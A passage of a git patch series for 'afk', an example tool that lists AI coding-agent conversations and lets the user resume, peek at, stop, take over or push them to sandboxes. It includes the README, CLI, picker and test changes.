prompt back and the conversation stays, to resume. Neither signs in to Vercel unless something was pushed from here. Which conversations are open, and by which process, comes from the SDK's `SessionInfo.running` and `.pid`: any `claude`, and a `codex` started as `codex resume `. A fresh `codex` names no conversation and shows idle. Tested offline (picker keys, local stop and peek) and end to end against a real claude TUI in a pty: listed in use, peeked, stopped from the CLI and from the picker, then resumed from the picker. --- examples/apps/afk/README.md | 18 +++- examples/apps/afk/afk/cli.py | 44 +++++++-- examples/apps/afk/afk/rows.py | 6 ++ examples/apps/afk/afk/tui.py | 57 +++++++---- examples/apps/afk/afk/verbs.py | 69 +++++++++---- examples/apps/afk/tests/test_tui.py | 101 +++++++++++++++++-- examples/apps/afk/tests/test_verbs.py | 133 ++++++++++++++++++++++++++ 7 files changed, 369 insertions(+), 59 deletions(-) create mode 100644 examples/apps/afk/tests/test_verbs.py diff --git a/examples/apps/afk/README.md b/examples/apps/afk/README.md index fa0db9f2..25d932fd 100644 --- a/examples/apps/afk/README.md +++ b/examples/apps/afk/README.md @@ -29,6 +29,20 @@ over the whole screen: arrow keys choose a conversation, Enter or a letter runs the command shown for it as if you had typed it (`stop` asks first), and `q` leaves the list in your scrollback. Piped, `afk` prints the list. +A key means the same thing on every row it appears on: + +| key | | +|---|---| +| Enter | into the conversation: one here resumes in its harness's own TUI (`claude --resume ` or `codex resume `), a pushed one is attached. Where something else is driving it — open in another terminal, or unattended — Enter peeks instead | +| `p` | peek | +| `s` | stop: a pushed one's sandbox, or the process a conversation here is open in | +| `u`, `b` | push, push `--bg` (a conversation here) | +| `l`, `f` | pull, pull `--files` (a pushed one) | + +A conversation here that is open in another terminal is `in use`. afk sees +any `claude`, but a `codex` only when it was started as `codex resume `: +a fresh `codex` names no conversation afk can find. + ## The verbs | | | @@ -36,9 +50,9 @@ and `q` leaves the list in your scrollback. Piped, `afk` prints the list. | `afk [--all]` | this directory's conversations, and the ones pushed elsewhere, with a status; `--all` lists every one, not just the recent 15 | | `afk push [id] [--as NAME] [--bg] [--hours H]` | copy it and this directory into a sandbox of its own and open the TUI there, or run it unattended with `--bg`; the sandbox lives up to `H` hours (default 5) | | `afk attach ` | your terminal, back on its TUI; if you quit the TUI, attach opens it again in the sandbox | -| `afk peek ` | watch an unattended agent's transcript, read-only | +| `afk peek ` | watch a conversation's transcript, read-only: a pushed one, or one here open in another terminal | | `afk pull [--files]` | bring a conversation home and open it in the TUI here; `--files` also brings the files it changed there, after showing them and asking | -| `afk stop ` | end its sandbox | +| `afk stop ` | end its sandbox; for a conversation here, end the process it is open in (that terminal gets its prompt back; the conversation stays) | | `afk setup` | choose the Vercel team afk's sandboxes use | **Ctrl-]** detaches from a sandbox TUI and leaves it running. A pulled diff --git a/examples/apps/afk/afk/cli.py b/examples/apps/afk/afk/cli.py index 31d5e582..c5ad149e 100644 --- a/examples/apps/afk/afk/cli.py +++ b/examples/apps/afk/afk/cli.py @@ -4,10 +4,11 @@ afk push [id] [--bg] into a sandbox: the TUI there, or unattended afk attach your terminal, back on its TUI (reopened if it exited) - afk peek watch an unattended agent, read-only + afk peek watch a conversation, read-only, here or pushed afk pull [--files] bring it home, in the TUI; --files brings its edits too - afk stop end its sandbox + afk stop end its sandbox; here, end the process it is + open in afk setup choose the Vercel team afk's sandboxes use An id is whatever the list showed: a label you gave (`--as`), a word from a @@ -16,6 +17,8 @@ On a terminal, bare `afk` is a picker: arrow keys choose a conversation, Enter or a letter runs the command shown for it, q leaves the list as is. +Enter puts you in the conversation: its harness's own resume for one here, +attach for a pushed one, or a peek at one something else is driving. """ from __future__ import annotations @@ -275,9 +278,10 @@ async def main_async(argv: list[str]) -> int: return 0 try: gw = gateway() - # Vercel is needed only once a sandbox is: never for a directory - # with nothing pushed, so a first `afk` asks nothing. - needs_sandbox = args.verb is not None or bool( + # Vercel is needed only once a sandbox is: a push, or a directory + # with something pushed from it. A first `afk` asks nothing, nor a + # peek at a conversation here. + needs_sandbox = args.verb == "push" or bool( st.load().for_origin(str(cwd)) ) remote_gw = ( @@ -291,13 +295,24 @@ async def main_async(argv: list[str]) -> int: try: # Each verb gathers only what it needs: the list asks everything; # push needs this directory's conversations; the rest need afk's - # own record of what it pushed, and then that one sandbox. + # own record of what it pushed, and then that one sandbox. Peek and + # stop work here too: when nothing pushed matches, they look here. if args.verb is None: if sys.stdin.isatty() and sys.stdout.isatty(): chosen = await picking( cwd, gw, remote_gw, everything=args.everything ) - return 0 if chosen is None else await main_async(chosen) + if chosen is None: + return 0 + if chosen[0] == "afk": + return await main_async(chosen[1:]) + # A harness's own command: afk is done, the terminal is its. + sys.stdout.flush() + try: + os.execvp(chosen[0], chosen) + except OSError as exc: + print(f"afk: could not run {chosen[0]}: {exc.strerror}") + return 1 await listing(cwd, gw, remote_gw, everything=args.everything) return 0 if args.verb == "push": @@ -319,11 +334,20 @@ async def main_async(argv: list[str]) -> int: local_gateway=gw, ) return 0 - row = choose( - stored_rows(st.load(), cwd), args.id, where="remote", verb=args.verb - ) + rows = stored_rows(st.load(), cwd) + if args.verb in ("peek", "stop") and not any( + r.matches(args.id) for r in rows + ): + rows, _, _ = await local_rows(cwd, gw) + row = choose(rows, args.id, where=None, verb=args.verb) if row is None: return 1 + if row.where == "here": + if args.verb == "peek": + await verbs.peek(row, gw, cwd=cwd) + else: + await verbs.stop(row, None) + return 0 try: if args.verb == "attach": await verbs.attach(row, remote_gw) diff --git a/examples/apps/afk/afk/rows.py b/examples/apps/afk/afk/rows.py index 36a51f61..8109af96 100644 --- a/examples/apps/afk/afk/rows.py +++ b/examples/apps/afk/afk/rows.py @@ -66,6 +66,10 @@ class Row(BaseModel): from_id: str | None = None handle: Handle | None = None mode: str | None = None + running: bool = False + """Here: a process has it open, maybe in another terminal.""" + pid: int | None = None + """Here: that process, when the harness can tell.""" @property def short(self) -> str: @@ -140,6 +144,8 @@ async def ask(factory: Any) -> Any: title=info.title, updated_at=info.updated_at, status="", + running=info.running, + pid=info.pid, ) row.status = ( "active " + age(info.updated_at) diff --git a/examples/apps/afk/afk/tui.py b/examples/apps/afk/afk/tui.py index 7c25ca9e..ce8e1063 100644 --- a/examples/apps/afk/afk/tui.py +++ b/examples/apps/afk/afk/tui.py @@ -1,9 +1,10 @@ """The list, as a picker: bare `afk` on a terminal. Drawn inline, under your prompt like the plain list, never the whole screen. -Choosing returns the argv of the command it stands for; the CLI runs that -command exactly as if you had typed it, with the terminal back to itself (a -harness's TUI needs all of it, and an inline app cannot hand it over). +Choosing returns the argv of the command it stands for — an afk verb, or a +harness's own resume — and the CLI runs that command exactly as if you had +typed it, with the terminal back to itself (a harness's TUI needs all of it, +and an inline app cannot hand it over). Quitting leaves the list in the scrollback; choosing leaves the one-line command instead. """ @@ -29,23 +30,40 @@ Verbs = dict[str, tuple[str, list[str]]] """key -> (what the footer calls it, the argv it runs).""" +RESUME = {"claude-code": ["claude", "--resume"], "codex": ["codex", "resume"]} +"""Each harness's own command to reopen a conversation in its TUI here.""" + def verbs(row: Row) -> Verbs: + """A key means one thing on every row it is on. Enter puts you in the + conversation, wherever it is: resumed here, attached there; where you + cannot be in it, because something else is driving it, it peeks.""" sid = row.session_id + # Peek reads the transcript, so it watches a TUI as well as an + # unattended agent, here or there. + peek = ("peek", ["afk", "peek", sid]) + stop = ("stop", ["afk", "stop", sid]) if row.where == "here": + # Open in another terminal: resuming it too would make two writers. return { - "enter": ("push", ["push", sid]), - "b": ("push --bg", ["push", sid, "--bg"]), + "enter": peek + if row.running + else ("resume", [*RESUME[row.kind], sid]), + "p": peek, + # Stop ends the process that has it open, so only when there is + # one afk can name. + **({"s": stop} if row.pid is not None else {}), + "u": ("push", ["afk", "push", sid]), + "b": ("push --bg", ["afk", "push", sid, "--bg"]), } - # Peek reads the transcript, so it watches a TUI as well as an - # unattended agent; Enter is the one thing a row is mostly for. - peek = ("peek", ["peek", sid]) return { - "enter": ("attach", ["attach", sid]) if row.mode == "tui" else peek, + "enter": ( + ("attach", ["afk", "attach", sid]) if row.mode == "tui" else peek + ), "p": peek, - "l": ("pull", ["pull", sid]), - "f": ("pull --files", ["pull", sid, "--files"]), - "s": ("stop", ["stop", sid]), + "l": ("pull", ["afk", "pull", sid]), + "f": ("pull --files", ["afk", "pull", sid, "--files"]), + "s": stop, } @@ -149,7 +167,12 @@ def show_keys(self) -> None: keys = self.query_one("#keys", Static) row = self.selected() if self.confirming is not None and row is not None: - keys.update(f"stop {row.label or row.short} ({row.sandbox})? y/N") + what = ( + f"{KIND_SHORT[row.kind]}, pid {row.pid}" + if row.where == "here" + else row.sandbox + ) + keys.update(f"stop {row.label or row.short} ({what})? y/N") return keys_ = verbs(row) if row else {} # A key that does what Enter does works, but is not shown twice. @@ -195,7 +218,7 @@ def act(self, key: str) -> None: if chosen is None: return _, argv = chosen - if argv[0] == "stop": + if argv[:2] == ["afk", "stop"]: self.confirming = argv self.show_keys() else: @@ -205,14 +228,16 @@ def done(self, argv: list[str]) -> None: # Leave the command it stands for, not the list, by the name the list # showed: what you would have typed, so the scrollback reads like a # shell session. The argv itself keeps the full id: never ambiguous. + # Only afk knows the list's names; a harness's own command needs the + # full id. row = self.selected() - name = (row.label or row.short) if row else None + name = (row.label or row.short) if row and argv[0] == "afk" else None shown = [ name if row and name and a == row.session_id else a for a in argv ] self.exit( argv, - message=Text(f"› afk {shlex.join(shown)}", style="dim"), # noqa: RUF001 + message=Text(f"› {shlex.join(shown)}", style="dim"), # noqa: RUF001 ) diff --git a/examples/apps/afk/afk/verbs.py b/examples/apps/afk/afk/verbs.py index 00e2fa37..e1a641e8 100644 --- a/examples/apps/afk/afk/verbs.py +++ b/examples/apps/afk/afk/verbs.py @@ -2,9 +2,9 @@ push — copy it into a sandbox and open the TUI there (or run it unattended). attach — your terminal, back on its TUI; reopened there if it had exited. -peek — watch an unattended agent's transcript, read-only. +peek — watch a conversation's transcript, read-only, here or there. pull — bring a conversation home and open it here; --files brings its edits. -stop — end its sandbox; each push has its own. +stop — end its sandbox, each push has its own; here, end its process. Nothing here depends on how a conversation began: `push` reads the harness's own store, so a conversation started by typing `claude` in a @@ -15,7 +15,9 @@ import asyncio import contextlib +import os import shutil +import signal import sys import tempfile from datetime import timedelta @@ -278,26 +280,42 @@ def _peek_start(messages: list[Any]) -> int: async def peek( - row: Row, gateway: Gateway | None, *, every: float = 2.0 + row: Row, + gateway: Gateway | None, + *, + cwd: Path | None = None, + every: float = 2.0, ) -> None: - """Follow an unattended agent's transcript. + """Follow a conversation's transcript: one pushed, or one here (`cwd`), + maybe open in another terminal. Read-only: it reads the stored record, so it never becomes a second writer. Returns when the agent has finished its turn; Ctrl-C stops watching, never the agent. """ - if row.handle is None or not row.sandbox: + if row.where == "here" and cwd is not None: + ws: Local | VercelSandbox = Local(cwd, gateway=gateway) + where = "here" + elif row.handle is not None and row.sandbox: + ws = VercelSandbox(name=row.sandbox, gateway=gateway) + where = row.sandbox + else: raise HarnessError("nothing to peek at") + # Only a pushed one has a home to come back to. + home = ( + "" + if row.where == "here" + else f" · `afk pull {row.label or row.short} --files` brings it home" + ) width = shutil.get_terminal_size().columns style = render.Style(color=sys.stdout.isatty()) name = row.label or row.short - async with VercelSandbox(name=row.sandbox, gateway=gateway) as ws: + async with ws: async with HARNESSES[row.kind](workspace=ws) as agent: print( style.dim( f"afk: watching {name} · {KIND_SHORT[row.kind]} · " - f"{row.sandbox} — Ctrl-C stops watching; the agent keeps " - "going" + f"{where} — Ctrl-C stops watching; the agent keeps going" ) ) messages = await agent.history(row.session_id) @@ -330,12 +348,7 @@ async def peek( if i.session_id == row.session_id ) if not held: - print( - style.dim( - f"\nafk: {name} is no longer running · `afk pull " - f"{name} --files` brings it home" - ) - ) + print(style.dim(f"\nafk: {name} is not running{home}")) return if ( turn_finished( @@ -343,12 +356,7 @@ async def peek( ) and loop.time() - changed >= PEEK_QUIET ): - print( - style.dim( - f"\nafk: {name} finished its turn · `afk pull " - f"{name} --files` brings it home" - ) - ) + print(style.dim(f"\nafk: {name} finished its turn{home}")) return await asyncio.sleep(every) messages = await agent.history(row.session_id) @@ -473,7 +481,26 @@ def _yes(ask: Callable[[str], str], prompt: str) -> bool: async def stop(row: Row, gateway: Gateway | None) -> None: """End the conversation's sandbox — the only reliable way to end what - runs in it. Each push has its own, so nothing else goes with it.""" + runs in it. Each push has its own, so nothing else goes with it. + + Here, end the process that has it open, maybe in another terminal: that + terminal gets its prompt back, and the conversation stays, to resume.""" + if row.where == "here": + if row.pid is None: + raise HarnessError( + f"afk cannot tell which process has {row.short} open" + if row.running + else f"{row.short} is not open anywhere here" + ) + try: + os.kill(row.pid, signal.SIGTERM) + except ProcessLookupError: + print(f"afk: {row.short} had already exited") + return + print( + f"afk: stopped {row.short} ({KIND_SHORT[row.kind]}, pid {row.pid})" + ) + return if not row.sandbox: raise HarnessError("nothing to stop") # The platform's stop takes a few seconds and cannot be hurried: say so diff --git a/examples/apps/afk/tests/test_tui.py b/examples/apps/afk/tests/test_tui.py index 725013df..d11b4b9f 100644 --- a/examples/apps/afk/tests/test_tui.py +++ b/examples/apps/afk/tests/test_tui.py @@ -66,15 +66,18 @@ async def _press(*keys: str, remote_delay: float = 0.0) -> Picker: @pytest.mark.parametrize( ("keys", "argv"), [ - (["enter"], ["push", "a3f5aaaa"]), - (["b"], ["push", "a3f5aaaa", "--bg"]), - (["down", "down", "enter"], ["attach", "c2d1dddd"]), - (["down", "down", "down", "enter"], ["peek", "9e7feeee"]), - (["down", "down", "p"], ["peek", "c2d1dddd"]), - (["down", "down", "down", "p"], ["peek", "9e7feeee"]), - (["down", "down", "l"], ["pull", "c2d1dddd"]), - (["down", "down", "f"], ["pull", "c2d1dddd", "--files"]), - (["down", "down", "s", "y"], ["stop", "c2d1dddd"]), + (["enter"], ["claude", "--resume", "a3f5aaaa"]), + (["down", "enter"], ["codex", "resume", "01a0cccc"]), + (["p"], ["afk", "peek", "a3f5aaaa"]), + (["u"], ["afk", "push", "a3f5aaaa"]), + (["b"], ["afk", "push", "a3f5aaaa", "--bg"]), + (["down", "down", "enter"], ["afk", "attach", "c2d1dddd"]), + (["down", "down", "down", "enter"], ["afk", "peek", "9e7feeee"]), + (["down", "down", "p"], ["afk", "peek", "c2d1dddd"]), + (["down", "down", "down", "p"], ["afk", "peek", "9e7feeee"]), + (["down", "down", "l"], ["afk", "pull", "c2d1dddd"]), + (["down", "down", "f"], ["afk", "pull", "c2d1dddd", "--files"]), + (["down", "down", "s", "y"], ["afk", "stop", "c2d1dddd"]), ], ) async def test_keys_choose_a_command(keys: list[str], argv: list[str]) -> None: @@ -84,6 +87,7 @@ async def test_keys_choose_a_command(keys: list[str], argv: list[str]) -> None: @pytest.mark.parametrize( ("downs", "keys"), [ + (0, "enter resume · p peek · u push · b push --bg · q quit"), ( 2, "enter attach · p peek · l pull · f pull --files · s stop · q quit", @@ -132,4 +136,81 @@ async def test_local_rows_are_there_while_sandboxes_answer() -> None: await pilot.pause(0.1) assert app.remote_rows is None await pilot.press("enter") - assert app.return_value == ["push", "a3f5aaaa"] + assert app.return_value == ["claude", "--resume", "a3f5aaaa"] + + +IN_USE = [ + # Open in another terminal, and the harness can say which process. + Row( + where="here", + kind="claude-code", + session_id="77e1ffff", + title="refactor the router", + status="in use 1m", + running=True, + pid=4242, + ), + # Open somewhere, but no process afk could stop: the SDK lock's + # pid-less moment, say. + Row( + where="here", + kind="codex", + session_id="5b0c0000", + title="write the changelog", + status="in use 3m", + running=True, + ), +] + + +async def _press_in_use(*keys: str) -> tuple[Picker, str]: + app = Picker(Text("~/proj"), IN_USE, None) + async with app.run_test(size=(100, 20)) as pilot: + await pilot.pause(0.1) + for key in keys: + await pilot.press(key) + await pilot.pause(0.05) + shown = str(app.query_one("#keys", Static).render()) + return app, shown + + +@pytest.mark.parametrize( + ("keys", "argv"), + [ + # Enter cannot resume what another terminal is writing: it peeks. + (["enter"], ["afk", "peek", "77e1ffff"]), + (["down", "enter"], ["afk", "peek", "5b0c0000"]), + (["s", "y"], ["afk", "stop", "77e1ffff"]), + (["u"], ["afk", "push", "77e1ffff"]), + ], +) +async def test_a_conversation_open_elsewhere( + keys: list[str], argv: list[str] +) -> None: + app, _ = await _press_in_use(*keys) + assert app.return_value == argv + + +async def test_stop_here_names_the_process_it_ends() -> None: + _, shown = await _press_in_use("s") + assert shown == "stop 77e1 (claude, pid 4242)? y/N" + + +@pytest.mark.parametrize( + ("downs", "keys"), + [ + (0, "enter peek · s stop · u push · b push --bg · q quit"), + # no process afk can name: nothing to stop + (1, "enter peek · u push · b push --bg · q quit"), + ], +) +async def test_stop_is_offered_only_with_a_process( + downs: int, keys: str +) -> None: + _, shown = await _press_in_use(*(["down"] * downs)) + assert shown == keys + + +async def test_stop_does_nothing_without_a_process() -> None: + app, _ = await _press_in_use("down", "s", "y") + assert app.return_value is None diff --git a/examples/apps/afk/tests/test_verbs.py b/examples/apps/afk/tests/test_verbs.py new file mode 100644 index 00000000..d8b5c6e5 --- /dev/null +++ b/examples/apps/afk/tests/test_verbs.py @@ -0,0 +1,133 @@ +"""stop and peek on a conversation here, one open in another terminal.""" + +from __future__ import annotations + +import subprocess +import sys +from typing import TYPE_CHECKING, Any + +import pytest +from afk import verbs +from afk.rows import Row + +from ai.harnesses.experimental import SessionInfo +from ai.harnesses.experimental.errors import HarnessError +from ai.types.messages import Message, TextPart + +if TYPE_CHECKING: + from pathlib import Path + + +def _here(**kw: Any) -> Row: + return Row( + where="here", + kind="claude-code", + session_id="77e1ffff", + status="in use 1m", + **kw, + ) + + +@pytest.fixture +def other_terminal() -> Any: + """A process standing in for a CLI in another terminal.""" + p = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(60)"]) + yield p + p.kill() + p.wait() + + +async def test_stop_ends_the_process_and_says_which( + other_terminal: subprocess.Popen[bytes], + capsys: pytest.CaptureFixture[str], +) -> None: + await verbs.stop(_here(running=True, pid=other_terminal.pid), None) + assert other_terminal.wait(timeout=10) == -15 # SIGTERM + assert capsys.readouterr().out == ( + f"afk: stopped 77e1 (claude, pid {other_terminal.pid})\n" + ) + + +async def test_stop_of_a_process_already_gone_says_so( + other_terminal: subprocess.Popen[bytes], + capsys: pytest.CaptureFixture[str], +) -> None: + other_terminal.kill() + other_terminal.wait() + await verbs.stop(_here(running=True, pid=other_terminal.pid), None) + assert capsys.readouterr().out == "afk: 77e1 had already exited\n" + + +@pytest.mark.parametrize( + ("row", "message"), + [ + (_here(), "77e1 is not open anywhere here"), + (_here(running=True), "afk cannot tell which process has 77e1 open"), + ], +) +async def test_stop_without_a_process_ends_nothing( + row: Row, message: str +) -> None: + with pytest.raises(HarnessError, match=message): + await verbs.stop(row, None) + + +class _Agent: + """The harness peek opens here: a stored transcript, and whether the + conversation is still open.""" + + def __init__(self, messages: list[Message], *, running: bool) -> None: + self.messages = messages + self.running = running + + async def __aenter__(self) -> _Agent: + return self + + async def __aexit__(self, *exc: object) -> None: + pass + + async def history(self, session_id: str) -> list[Message]: + return self.messages + + async def sessions(self) -> list[SessionInfo]: + return [ + SessionInfo( + kind="claude-code", + session_id="77e1ffff", + running=self.running, + ) + ] + + +async def test_peek_here_reads_this_directory_and_offers_no_pull( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + opened: list[Any] = [] + agent = _Agent( + [ + Message(role="user", parts=[TextPart(text="fix the router")]), + Message(role="assistant", parts=[TextPart(text="On it.")]), + ], + running=False, + ) + + def harness(*, workspace: Any) -> _Agent: + opened.append(workspace) + return agent + + monkeypatch.setitem(verbs.HARNESSES, "claude-code", harness) + await verbs.peek(_here(), None, cwd=tmp_path, every=0) + assert opened[0].kind == "local" + assert str(opened[0].path) == str(tmp_path.resolve()) + out = capsys.readouterr().out + assert "watching 77e1 · claude · here" in out + assert "fix the router" in out and "On it." in out + assert out.rstrip().endswith("afk: 77e1 is not running") + assert "afk pull" not in out + + +async def test_peek_needs_somewhere_to_look() -> None: + with pytest.raises(HarnessError, match="nothing to peek at"): + await verbs.peek(_here(), None) From a8dafb534df8902d88137172e5eb92e4431e5b41 Mon Sep 17 00:00:00 2001 From: George Date: Fri, 2 Oct 2026 15:40:56 -0700 Subject: [PATCH 15/37] afk: take over a session open here; peek says it follows, and stops when idle MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Enter on a conversation open in another terminal now takes it over, as attach does a pushed TUI open elsewhere: after a y, the picker runs `afk stop && claude --resume `, so that process ends first and the TUI opens here. A picker key now stands for a chain of commands, run in order, each only if the one before succeeded; the scrollback shows them joined by &&. Where afk cannot name the process, Enter still peeks. `afk stop` on a conversation here waits until the process has exited, so a take-over's resume never overlaps it, and says so if it does not exit within 10s. Peek follows like `tail -f`, which nothing on screen said. On a terminal it now keeps a status line under the transcript, redrawn in place: "following · nothing new for Ns · Ctrl-C to stop", replaced by why it ended. It also ended only when the transcript ended on the agent's reply; an interrupted turn or an unanswered prompt never does, so a session still open was followed forever (3 of the 10 conversations in this repo end that way). A conversation a person drives, here or a pushed TUI, now stops being followed after 30s with nothing new, unless a tool call is out. Ctrl-C says the agent keeps going. Tested offline (picker chains and confirmations, stop waiting and timing out against a process that ignores SIGTERM, peek's quiet stop, a pending tool call, the status line, piped output) and end to end in a pty against a real claude TUI: the status line from the picker, and Enter taking over. --- examples/apps/afk/README.md | 6 +- examples/apps/afk/afk/cli.py | 34 ++++-- examples/apps/afk/afk/tui.py | 113 +++++++++++------- examples/apps/afk/afk/verbs.py | 165 +++++++++++++++++++------ examples/apps/afk/tests/test_tui.py | 58 +++++---- examples/apps/afk/tests/test_verbs.py | 166 +++++++++++++++++++++++--- 6 files changed, 407 insertions(+), 135 deletions(-) diff --git a/examples/apps/afk/README.md b/examples/apps/afk/README.md index 25d932fd..8727154a 100644 --- a/examples/apps/afk/README.md +++ b/examples/apps/afk/README.md @@ -33,7 +33,7 @@ A key means the same thing on every row it appears on: | key | | |---|---| -| Enter | into the conversation: one here resumes in its harness's own TUI (`claude --resume ` or `codex resume `), a pushed one is attached. Where something else is driving it — open in another terminal, or unattended — Enter peeks instead | +| Enter | into the conversation: one here resumes in its harness's own TUI (`claude --resume ` or `codex resume `), a pushed one is attached. One here that is open in another terminal is taken over, after a y: that process ends first, then the TUI opens here (`afk stop && claude --resume `). Where afk cannot end what drives it, or it runs unattended, Enter peeks | | `p` | peek | | `s` | stop: a pushed one's sandbox, or the process a conversation here is open in | | `u`, `b` | push, push `--bg` (a conversation here) | @@ -50,9 +50,9 @@ a fresh `codex` names no conversation afk can find. | `afk [--all]` | this directory's conversations, and the ones pushed elsewhere, with a status; `--all` lists every one, not just the recent 15 | | `afk push [id] [--as NAME] [--bg] [--hours H]` | copy it and this directory into a sandbox of its own and open the TUI there, or run it unattended with `--bg`; the sandbox lives up to `H` hours (default 5) | | `afk attach ` | your terminal, back on its TUI; if you quit the TUI, attach opens it again in the sandbox | -| `afk peek ` | watch a conversation's transcript, read-only: a pushed one, or one here open in another terminal | +| `afk peek ` | follow a conversation's transcript like `tail -f`, read-only: a pushed one, or one here open in another terminal. A status line says it is following; it ends when the agent finishes its turn or stops running, or, for one a person drives, after 30s with nothing new. Ctrl-C stops watching, never the agent | | `afk pull [--files]` | bring a conversation home and open it in the TUI here; `--files` also brings the files it changed there, after showing them and asking | -| `afk stop ` | end its sandbox; for a conversation here, end the process it is open in (that terminal gets its prompt back; the conversation stays) | +| `afk stop ` | end its sandbox; for a conversation here, end the process it is open in and wait until it has exited (that terminal gets its prompt back; the conversation stays) | | `afk setup` | choose the Vercel team afk's sandboxes use | **Ctrl-]** detaches from a sandbox TUI and leaves it running. A pulled diff --git a/examples/apps/afk/afk/cli.py b/examples/apps/afk/afk/cli.py index c5ad149e..1424657b 100644 --- a/examples/apps/afk/afk/cli.py +++ b/examples/apps/afk/afk/cli.py @@ -152,8 +152,8 @@ async def picking( remote_gw: Gateway | None, *, everything: bool, -) -> list[str] | None: - """The list as a picker, on a terminal: the command you chose, to run as +) -> list[list[str]] | None: + """The list as a picker, on a terminal: the commands you chose, to run as if typed, or None. The same rows as `listing`, arriving the same way.""" # textual is imported only when a picker is drawn from rich.text import Text # noqa: PLC0415 @@ -302,17 +302,25 @@ async def main_async(argv: list[str]) -> int: chosen = await picking( cwd, gw, remote_gw, everything=args.everything ) - if chosen is None: - return 0 - if chosen[0] == "afk": - return await main_async(chosen[1:]) - # A harness's own command: afk is done, the terminal is its. - sys.stdout.flush() - try: - os.execvp(chosen[0], chosen) - except OSError as exc: - print(f"afk: could not run {chosen[0]}: {exc.strerror}") - return 1 + # Each command only if the one before it succeeded, as + # `a && b` runs them. + for command in chosen or []: + if command[0] == "afk": + code = await main_async(command[1:]) + if code != 0: + return code + continue + # A harness's own command: afk is done, the terminal is + # its. + sys.stdout.flush() + try: + os.execvp(command[0], command) + except OSError as exc: + print( + f"afk: could not run {command[0]}: {exc.strerror}" + ) + return 1 + return 0 await listing(cwd, gw, remote_gw, everything=args.everything) return 0 if args.verb == "push": diff --git a/examples/apps/afk/afk/tui.py b/examples/apps/afk/afk/tui.py index ce8e1063..e24eef28 100644 --- a/examples/apps/afk/afk/tui.py +++ b/examples/apps/afk/afk/tui.py @@ -1,10 +1,10 @@ """The list, as a picker: bare `afk` on a terminal. Drawn inline, under your prompt like the plain list, never the whole screen. -Choosing returns the argv of the command it stands for — an afk verb, or a -harness's own resume — and the CLI runs that command exactly as if you had -typed it, with the terminal back to itself (a harness's TUI needs all of it, -and an inline app cannot hand it over). +Choosing returns the commands it stands for — afk verbs, or a harness's own +resume — and the CLI runs them exactly as if you had typed them, with the +terminal back to itself (a harness's TUI needs all of it, and an inline app +cannot hand it over). Quitting leaves the list in the scrollback; choosing leaves the one-line command instead. """ @@ -27,8 +27,10 @@ from textual import events -Verbs = dict[str, tuple[str, list[str]]] -"""key -> (what the footer calls it, the argv it runs).""" +Command = list[str] +Verbs = dict[str, tuple[str, list[Command]]] +"""key -> (what the footer calls it, the commands it runs, in order, each +only if the one before it succeeded: `a && b`).""" RESUME = {"claude-code": ["claude", "--resume"], "codex": ["codex", "resume"]} """Each harness's own command to reopen a conversation in its TUI here.""" @@ -36,33 +38,40 @@ def verbs(row: Row) -> Verbs: """A key means one thing on every row it is on. Enter puts you in the - conversation, wherever it is: resumed here, attached there; where you - cannot be in it, because something else is driving it, it peeks.""" + conversation, wherever it is: resumed here, attached there. One open in + another terminal here, Enter takes over, as attach does there: that + process ends and the TUI opens here. Where afk cannot end what drives + it, Enter peeks.""" sid = row.session_id # Peek reads the transcript, so it watches a TUI as well as an # unattended agent, here or there. - peek = ("peek", ["afk", "peek", sid]) - stop = ("stop", ["afk", "stop", sid]) + peek = ("peek", [["afk", "peek", sid]]) + stop = ("stop", [["afk", "stop", sid]]) if row.where == "here": - # Open in another terminal: resuming it too would make two writers. + resume = [*RESUME[row.kind], sid] + if not row.running: + enter = ("resume", [resume]) + elif row.pid is not None: + # Stop waits until the process is gone: never two writers. + enter = ("take over", [["afk", "stop", sid], resume]) + else: + enter = peek return { - "enter": peek - if row.running - else ("resume", [*RESUME[row.kind], sid]), + "enter": enter, "p": peek, # Stop ends the process that has it open, so only when there is # one afk can name. **({"s": stop} if row.pid is not None else {}), - "u": ("push", ["afk", "push", sid]), - "b": ("push --bg", ["afk", "push", sid, "--bg"]), + "u": ("push", [["afk", "push", sid]]), + "b": ("push --bg", [["afk", "push", sid, "--bg"]]), } return { "enter": ( - ("attach", ["afk", "attach", sid]) if row.mode == "tui" else peek + ("attach", [["afk", "attach", sid]]) if row.mode == "tui" else peek ), "p": peek, - "l": ("pull", ["afk", "pull", sid]), - "f": ("pull --files", ["afk", "pull", sid, "--files"]), + "l": ("pull", [["afk", "pull", sid]]), + "f": ("pull --files", [["afk", "pull", sid, "--files"]]), "s": stop, } @@ -84,7 +93,7 @@ def _clip(s: str, n: int) -> str: return s[: n - 1] + "…" if len(s) > n else s -class Picker(App[list[str] | None]): +class Picker(App[list[Command] | None]): CSS = """ Screen:inline { border-top: none; border-bottom: none; } #head, #keys, OptionList { padding: 0 2; } @@ -108,7 +117,7 @@ def __init__( self.here_rows = here self.remote_rows: list[Row] | None = None self._remote = remote - self.confirming: list[str] | None = None + self.confirming: tuple[str, list[Command]] | None = None def compose(self) -> ComposeResult: yield Static(self.head, id="head") @@ -167,19 +176,25 @@ def show_keys(self) -> None: keys = self.query_one("#keys", Static) row = self.selected() if self.confirming is not None and row is not None: + name = row.label or row.short + if self.confirming[0] == "take over": + keys.update( + f"take over {name} from pid {row.pid}? it ends there. y/N" + ) + return what = ( f"{KIND_SHORT[row.kind]}, pid {row.pid}" if row.where == "here" else row.sandbox ) - keys.update(f"stop {row.label or row.short} ({what})? y/N") + keys.update(f"stop {name} ({what})? y/N") return keys_ = verbs(row) if row else {} # A key that does what Enter does works, but is not shown twice. shown = [ f"{k} {name}" - for k, (name, argv) in keys_.items() - if k == "enter" or (name, argv) != keys_["enter"] + for k, (name, commands) in keys_.items() + if k == "enter" or (name, commands) != keys_["enter"] ] keys.update(" · ".join([*shown, "q quit"])) @@ -205,11 +220,11 @@ async def action_leave(self) -> None: def act(self, key: str) -> None: # Every key comes through here, Enter too, so a pending question is - # answered first: only y stops; any other key is the N. + # answered first: only y goes ahead; any other key is the N. if self.confirming is not None: - argv, self.confirming = self.confirming, None + (_, commands), self.confirming = self.confirming, None if key == "y": - self.done(argv) + self.done(commands) else: self.show_keys() return @@ -217,33 +232,41 @@ def act(self, key: str) -> None: chosen = verbs(row).get(key) if row else None if chosen is None: return - _, argv = chosen - if argv[:2] == ["afk", "stop"]: - self.confirming = argv + # Anything that ends a process or a sandbox asks first. + if any(c[:2] == ["afk", "stop"] for 